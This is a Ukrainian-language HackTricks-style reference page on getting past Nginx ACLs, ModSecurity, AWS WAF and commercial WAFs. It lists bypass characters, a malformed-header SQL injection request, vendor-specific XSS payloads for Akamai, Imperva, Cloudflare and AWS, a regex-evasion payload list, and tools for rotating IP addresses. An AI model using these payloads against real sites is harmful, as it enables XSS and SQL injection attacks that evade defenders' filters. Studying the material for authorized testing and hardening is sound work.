20 KiB
Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
Bypass Nginx ACL Rules with Pathname Manipulation
Техніки з цього дослідження.
Приклад правила Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист.
NodeJS - Express
| Nginx Version | Node.js Bypass Characters |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx Version | Flask Bypass Characters |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx Version | Spring Boot Bypass Characters |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Конфігурація Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx налаштовано на блокування доступу до /admin.php, але це можна обійти, отримавши доступ до /admin.php/index.php.
Як запобігти
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
У цьому пості пояснюється, що ModSecurity v3 (до 3.0.12) неправильно реалізував змінну REQUEST_FILENAME, яка повинна була містити доступний шлях (до початку параметрів). Це сталося через те, що він виконував декодування URL, щоб отримати шлях.
Отже, запит на кшталт http://example.com/foo%3f';alert(1);foo= в mod security буде вважати, що шлях - це лише /foo, оскільки %3f перетворюється на ?, закінчуючи URL шлях, але насправді шлях, який отримає сервер, буде /foo%3f';alert(1);foo=.
Змінні REQUEST_BASENAME та PATH_INFO також були під впливом цього багу.
Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними копіями (такими як .bak), просто надіславши крапку, закодовану в URL як %2e, наприклад: https://example.com/backup%2ebak.
Bypass AWS WAF ACL
Malformed Header
Це дослідження згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно оброблений AWS, але був оброблений сервером на задньому плані.
Наприклад, надіславши наступний запит з SQL-ін'єкцією в заголовку X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Було можливим обійти AWS WAF, оскільки він не розумів, що наступний рядок є частиною значення заголовка, тоді як сервер NODEJS це розумів (це було виправлено).
Загальні обходи WAF
Обмеження розміру запиту
Зазвичай WAF мають певний обмеження на довжину запитів для перевірки, і якщо запит POST/PUT/PATCH перевищує його, WAF не перевірятиме запит.
- Для AWS WAF ви можете перевірити документацію:
| Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту Application Load Balancer та AWS AppSync | 8 KB |
| Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту CloudFront, API Gateway, Amazon Cognito, App Runner та Verified Access** | 64 KB |
Старі веб-брандмауери з Core Rule Set 3.1 (або нижче) дозволяють повідомлення, що перевищують 128 KB, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те ж саме можна зробити, вимкнувши максимальне обмеження на розмір тіла запиту. Коли запит перевищує обмеження розміру:
Якщо режим запобігання: Логування та блокування запиту.
Якщо режим виявлення: Перевіряє до межі, ігнорує решту та веде журнал, якщо Content-Length перевищує межу.
- З Akamai:
За замовчуванням WAF перевіряє лише перші 8KB запиту. Він може збільшити межу до 128KB, додавши розширену метадані.
- З Cloudflare:
До 128KB.
Прогалини в перевірці статичних активів (.js GETs)
Деякі стеки CDN/WAF застосовують слабку або жодну перевірку вмісту для GET-запитів на статичні активи (наприклад, шляхи, що закінчуються на .js), при цьому все ще застосовуючи глобальні правила, такі як обмеження швидкості та репутація IP. У поєднанні з автоматичним кешуванням статичних розширень це може бути зловживано для доставки або посіву шкідливих варіантів, які впливають на наступні HTML-відповіді.
Практичні випадки використання:
- Надсилати корисні навантаження в ненадійних заголовках (наприклад,
User-Agent) на GET до шляху.js, щоб уникнути перевірки вмісту, а потім негайно запитати основний HTML, щоб вплинути на кешований варіант. - Використовувати нову/чисту IP; як тільки IP буде позначено, зміни маршрутизації можуть зробити техніку ненадійною.
- У Burp Repeater використовуйте "Send group in parallel" (стиль одного пакета), щоб змагатися з двома запитами (
.js, а потім HTML) через той самий фронтальний шлях.
Це добре поєднується з отруєнням кешу відображення заголовків. Дивіться:
- {{#ref}} cache-deception/README.md {{#endref}}
- Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій на рівні адміністратора
Обфускація
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode Совместимість
В залежності від реалізації нормалізації Unicode (більше інформації тут), символи, які мають сумісність Unicode, можуть обійти WAF і виконатися як заплановане навантаження. Сумісні символи можна знайти тут.
Приклад
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Bypass Contextual WAFs with encodings
Як згадувалося в цьому блозі, для обходу WAF, які здатні підтримувати контекст введення користувача, ми можемо зловживати техніками WAF, щоб фактично нормалізувати введення користувачів.
Наприклад, у пості згадується, що Akamai декодував введення користувача 10 разів. Тому щось на кшталт <input/%2525252525252525253e/onfocus буде сприйнято Akamai як <input/>/onfocus, що може бути вважатися допустимим, оскільки тег закритий. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт <input/%25252525252525253e/onfocus, що все ще є дійсним для атаки XSS.
Отже, це дозволяє сховати корисні навантаження в закодованих компонентах, які WAF декодує та інтерпретує, в той час як жертва цього не побачить.
Більше того, це можна зробити не тільки з URL закодованими корисними навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...
У пості пропонуються наступні фінальні обходи:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Також згадується, що в залежності від того, як деякі WAF розуміють контекст введення користувача, може бути можливим зловживати цим. Пропонований приклад у блозі полягає в тому, що Akamai дозволяє вставляти що завгодно між /* і */ (можливо, тому що це зазвичай використовується як коментарі). Тому SQL-ін'єкція, така як /*'or sleep(5)-- -*/, не буде виявлена і буде дійсною, оскільки /* є початковим рядком ін'єкції, а */ закоментовано.
Ці види проблем з контекстом також можуть бути використані для зловживання іншими вразливостями, ніж ті, які очікуються для експлуатації WAF (наприклад, це також може бути використано для експлуатації XSS).
H2C Smuggling
{{#ref}} h2c-smuggling.md {{#endref}}
IP Rotation
- https://github.com/ustayready/fireprox: Генерація URL API шлюзу для використання з ffuf
- https://github.com/rootcathacking/catspin: Схоже на fireprox
- https://github.com/PortSwigger/ip-rotate: Плагін Burp Suite, який використовує IP-адреси API шлюзу
- https://github.com/fyoorer/ShadowClone: Динамічно визначена кількість контейнерних екземплярів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістру, додавання переносів рядків та кодування корисних навантажень. Ресурси для різних обходів можна знайти на PayloadsAllTheThings та OWASP. Приклади нижче були взяті з цього артикулу.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Інструменти
- nowafpls: плагін Burp для додавання непотрібних даних до запитів для обходу WAF за довжиною
Посилання
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- Як я знайшов 0-Click захоплення облікового запису в публічному BBP і використав це для доступу до функцій рівня адміністратора
{{#include ../banners/hacktricks-training.md}}